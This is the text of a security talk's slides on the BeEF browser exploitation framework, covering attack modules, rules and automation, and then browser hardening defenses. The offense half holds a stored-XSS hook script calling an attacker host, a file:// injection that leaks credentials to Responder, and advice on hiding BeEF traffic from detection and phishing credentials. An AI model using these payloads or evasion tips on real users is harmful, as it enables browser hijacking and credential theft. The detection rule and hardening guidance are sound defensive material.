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Why are we here?



Setting Expectations



Offense

● Introduction to offensive capabilities, rules, and automation

● Examples do not include any AV bypass; this is PoC only

● Browsers and versions behave differently—measure twice, cut once!

● We’ll skip download and install steps

○ Kali: /usr/share/beef-xss

○ Other: https://github.com/beefproject 

○ Wiki: https://github.com/beefproject/beef/wiki 



Defense

● What are your options for browser security?
○ “Easy”, moderate, and hard levels of difficulty
○ Needs of the business versus security practices
○ What is available/cost-effective?

● Focusing only on Windows-based defenses

● Mitigations cover numerous browser-based exploits, not just BeEF

● No IR in this talk



The Browser Exploitation Framework



The Browser Exploitation Framework

● Framework for deploying and managing client-side attacks

● Uses JavaScript to “hook” browsers, manage attacks

● Quickly create believable client-side attack campaigns

● Actively maintained, highly configurable, extensible



Attacker Controlled Webpage



Attacker Controlled Webpage



Stored Cross Site Scripting



Stored Cross Site Scripting



The Exploit, in its Entirety

<script src=”https://beef.maliciouswebsite.org/hook.js”></script>



The Console



The Interface



The Interface



Module Examples



Recon / Enumeration

● Auto Fingerprint 

● Geolocation

● Installed Software



Recon / Enumeration

● Get Internal IP

● Port Scanner 
○ Outbound firewall rules?

● Detect Antivirus
○ Don’t get too excited…

● Detect Virtual Machine



Social Engineering

● Detect Social Networks
○ SE opportunities…

● Convincing credential harvesters

● Fake Browser Updates

● Lots of fake alerts



● Lots of built-in, unlikely modules
○ A few are really useful!

● Integrates with Metasploit 

● Supports PowerShell/HTA for drive-by exploits

● Raw JS Injection + Responder
○ Example: window.open(“file://///1.2.3.4/doesnotexist/”)
○ Unlikely—use redirection and HTML instead!

● Cryptocurrency miners...

Exploitation



https://docs.google.com/file/d/1ZKHRb06I4aqkOsY2mF_KBjy2J4kE92et/preview


https://docs.google.com/file/d/1Th_pGAeL7fPPcuxWbwQS7IALbEGfJBuM/preview


Persistence

● Closing the browser takes the host offline

● ...unless you use Persistence Modules:

○ Take it back to 1999!

○ Frame the page (if it can be framed)

○ Man in the Browser

● Build it into your rules, or you’ll be phishing again soon



Rules



Rules

● Automated Rule Engine is relatively new

● Lacks some features (if/then, between x and y, etc)

● Be creative and stack rules

● JSON, vim/nano, basic Linux CLI skills a plus



Conditional Filtering

● Filter by Browser, OS

● Further filter by Browser, OS Version

● Supports operators

● Combine the above for targeted attacks



BeEF Automated Rules Engine

● .json files:

{
[general info]
[conditions]

{ 
[modules(s)

module options] 
}

[execution details]
}



Sample Rule

Basic Conditional Rule Example: Detect OS, redirect windows



Sample Rule
{

"name": "Redirect Windows",
"comment": "Simple redirect. If the browser is running on any version of Windows, direct it elsewhere",
"author": "https://github.com/highmeh",
"browser": "ALL",
"browser_version": "ALL",
"os": "Windows",
"os_version": "ALL",
"modules": [

{ 
"name": "site_redirect", 
"condition": null,
"options": { 

"redirect_url": "https://www.ubuntu.com"
}

}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"

}



Automation

● Still fairly basic

● Stack rules based on expected scenarios
○ Base on series of “true” results

● Requires multiple .json files

○ Break this up logically: if_windows.json, if_osx.json, etc.

○ All rules will execute when hooked—so test your filters!



Automation

● BeEF will fire all rules on any hooked browser. Filters 
determine which modules run



Automation

A hooked browser meets rule criteria, rules fire

A hooked browser does not meet rule criteria, rule does not fire



Automation Example

Rules Needed:

● If Windows > If  Chrome > Exploit

● If Windows > If IE > HTA Payload

● If MacOS > If Chrome > Phish Creds

● If MacOS > If Firefox > Phish Creds

● What happens to Linux? Android?



Automated Rule Attack



https://docs.google.com/file/d/1NoF_3fOREqwPVgV7AluMLtv5EUqvv6QX/preview


BeEF - Best Practices

● Enable HTTPS
○ LetsEncrypt! No cost, 5 minute setup.

$ sudo certbot certonly

○ ...don’t forget to configure BeEF with SSL Support: 
$ sudo apt-get libssl-dev
$ gem uninstall eventmachine
$ gem install eventmachine

○ Users often taught that the green lock icon means trustworthy—exploit that trust.



BeEF - Best Practices

● Protect Yourself
○ Username and Password

○ Change Admin URL

○ Allowed Admin IP

○ Allowed hooking subnet

● Use a domain name, not an IP

● Get comfortable with config.yaml



BeEF - Blending in with Traffic

● Session cookies
○ “BEEFHOOK” and “BEEFSESSION” are obvious…
○ ...PHPSESSID and ASP.net_SessionID are not.

● JavaScript exploit payload 
○ “hook.js” can be used as an indicator of compromise…
○ ...but nobody would filter jquery.min.js
○ Enable the Evasion Extension

● TCP Port
○ Change default
○ Ideally, just implement HTTPS and run it over 443/TCP



Winning at Offense



The Formula for Shells and Creds

● Use HTTPS!

● Change obvious IoCs 

● Take your time to build a believable campaign pretext

● Build rules that make sense, don’t miss an opportunity

● Layer your attacks, account for all situations

● Don’t forget Persistence



Running Defense Against BeEF



Disclaimer

● Every organization is unique

● Some solutions may not be feasible for your environment

● What is easy for some may not be easy for you

● Use with caution

● Defense in depth is your friend



The Path of Least Resistance



The Path of Least Resistance

● The “easy” wins

● You may already have a plan in place for these solutions

● Broad acceptance by the business

● Little-to-no downtime for hosts



User Education

● Attacks only work if the user is phished
○ Even one user reporting makes a difference



Upgrade from Windows 7 to Windows 10

● A number of BeEF attacks do not work on a base Windows 10 install
○ Built-in controls prevent many footholds from hooked browser

● Windows Defender
○ Default with Windows 10 installations and incredibly robust
○ Even active attempts to infect a machine were thwarted by Defender
○ Free, has made huge strides, can be managed through Group Policy



Managing Chrome through Group Policy

● Set default and mandatory settings at both Computer and User level
○ Requires using ADM or ADMX templates
○ Can facilitate wide-scale deployments of adblockers, etc.



Managing Chrome through Group Policy

● Manage extensions
○ Computer → Policies → Administrative Templates → Google → Google Chrome → 

Extensions → Configure force-installed
○ Format for extensions: <extension ID>;<HTTPS download source>
○ uBlock Origin: 

cjpalhdlnbpafiamejdnhcphjbkeiagm;https://clients2.google.com/service/update2/crx

● General practices:
○ Enable Safe Browsing: Enabled
○ Disable proceeding from the Safe Browsing warning page: Enabled

https://clients2.google.com/service/update2/crx


Fighting an Uphill Battle



Low-Hanging Fruit

● There’s an actual Chrome extension!
○ Vegan, written by Brian Wallace (Cylance)¹

■ Detects on the BEEFHOOK cookie
■ Blocks the domain if attempt is made to set the cookie
■ Triggered on cookie length, not cookie name

○ Unfortunately, not actively maintained

● What about blocking traffic?
○ Snort/Suricata rules set to trigger for BeEF are easy to write!
○ Unfortunately easy to evade

■ alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS 
(flow:to_server,established; content:"Cookie|3a 20|BEEFHOOK=";)

¹ https://blog.cylance.com/vegan-chrome-extension-to-defeat-beef



Disallow JavaScript

● The easiest way to stop BeEF...
○ NoScript (Firefox)
○ chrome://settings/content/javascript - Set to block, whitelist specific URLs (Chrome)
○ Group Policy → User Configuration → Windows Components → Microsoft Edge → 

Allows you to run scripts → Disable (Edge)
○ Whitelist those applications/URLs your users need

● ...but difficult to deploy
○ Requires significant work to interfere as little as possible with legitimate use-cases

■ Have a marketing department? Do they build ads in Google?
■ Does this potentially slow down your development teams as you work out the 

kinks?
■ Breaks UX on many, many sites



Ad Blockers

● Several options; can be tailored
○ uBlock Origin (Chrome, Firefox, Edge)
○ Built-in blocker (Opera)
○ Privacy Badger (Chrome, Firefox, Opera)

■ Surprisingly robust

● Does more than just defend against BeEF
○ Defeating the scourge of in-browser coin mining

● Can be difficult to deploy at-scale, especially for large orgs
○ Can break UX (again)



Managing Firefox through CCK2

● CCK2 recommended for Firefox ESR deployment by Mozilla
○ Built by Mike Kaply; helps build auto-config filesets¹
○ Firefox builds new profiles based on these configurations
○ “Group Policy for Firefox, and CCK2 is the editor”²
○ Distribute the files from C:\Program Files (x86)\Mozilla Firefox with Group Policy File 

Preferences

● Issues
○ Lots of problems with Firefox Quantum
○ “The CCK2 Wizard is a legacy extension and as such will not work beyond Firefox 

56.”

¹ https://mike.kaply.com/cck2/
² “Deploying uBlock Origin for Firefox with CCK2 and Group Policy.” Swift on Security. Updated March 7, 2017. Retrieved March 6, 2018. 

https://mike.kaply.com/cck2/


The Hard Stuff



Google Chrome Site Isolation

● Protects against universal XSS, preventing attackers from bypassing 
Same Origin Policy

● Protects against speculative side-channel attacks

● “...a malicious website will find it more difficult to steal data from 
other sites, even if it can break some of the rules in its own process.”¹

¹ “Site Isolation - The Chromium Projects.” Google Chrome Developers. Updated February 19, 2018. Retrieved March 6, 2018.



Drawbacks to Site Isolation

● Higher memory usage (10-20%)
○ Chromium team’s suggestion: “only [isolate] certain sites.”

● BeEF webpage is not isolated if only isolating specific sites

● Still experimental; use with caution

● Does not necessarily stop a downloaded exploit

¹ “Site Isolation - The Chromium Projects.” Google Chrome Developers. Updated February 19, 2018. Retrieved March 6, 2018.



Windows Defender System Guard

● Using containers to defend the OS
○ “...will protect things like authentication and other system services and data that 

needs to resist malware, and more things will be protected over time.”¹

¹ “How hardware-based containers help protect Windows 10.” Hall, Justin. Updated June 29, 2017. Retrieved March 18, 2018.



Windows Defender Application Guard

● Run Edge in a Hyper-V container
○ Have the option to whitelist certain sites as “trusted”; everything else is contained



Windows Defender Exploit Guard

● “EMET II”, built into the Windows 10 framework

● Attack Surface Reduction
○ Gives considerable control over Office apps
○ Can block JavaScript, VBScript, and obfuscated PowerShell from launching 

executable content
■ Block JavaScript and VBScript from executing payloads downloaded from the 

Internet

● Blocks outbound connections using SmartScreen 



Hardcore Mode: More Containers

● Run Chrome/Firefox in a Docker container
○ Similar to the OS X App Sandbox/WDAG
○ Very effective, but not easy
○ Probably not a use-case you’d recommend across an enterprise

https://github.com/jessfraz/dockerfiles/blob/master/chrome/stable/Dockerfile



Is there a “best” browser?



Short answer: not really

● Chrome + adblocker + whitelisted URLs for JS likely the best
○ Chrome has >50% of the browser market; don’t force your users into using 

something else

● Capabilities within Edge are very exciting

● What about other browsers?



Additional Security Recommendations



Security Hygiene

● Audit your own websites for XSS

● Monitor your inbound/outbound connections
○ On which ports are you allowing traffic?
○ Are you alerting on those connections?

● Use your IDS/IPS to your advantage

● Antivirus!



What would I do?



In an ideal world

● User workstations on Windows 10
○ Windows Defender Suite enabled
○ Block JavaScript/VBScript/PowerShell from launching executable content
○ Run Edge in WDAG
○ Utilize Exploit Guard

■ Leverage the free tools MSFT developed!

● Browser hardening
○ Enterprise-wide deployment of uBlock Origin and Privacy Badger

■ Tune, tune, tune!
○ Manage Chrome through GPOs and Firefox through CCK2
○ Whitelist JavaScript on specific, necessary (or popular) sites
○ Stay flexible, don’t give users reasons to circumvent controls



Jayme: @highmeh
Marley: @mkr_ultra

Images courtesy of NASA and SpaceX under Creative Commons.

https://github.io/highmeh


